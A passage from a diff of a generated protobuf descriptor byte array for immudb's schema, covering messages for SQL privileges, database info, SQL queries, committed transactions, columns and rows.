0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xca, 0x01, 0x0a, 0x1a, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, + 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, + 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, + 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, + 0x73, 0x22, 0x1d, 0x0a, 0x1b, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, + 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x56, 0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x39, + 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x09, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, + 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x64, + 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x22, + 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, + 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, + 0xa4, 0x01, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, - 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x22, 0xa4, 0x01, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, - 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, - 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x42, 0x02, 0x18, 0x01, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, - 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, - 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, - 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, - 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, - 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, - 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x42, + 0x02, 0x18, 0x01, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, + 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, + 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, + 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, + 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, + 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, + 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, - 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, - 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 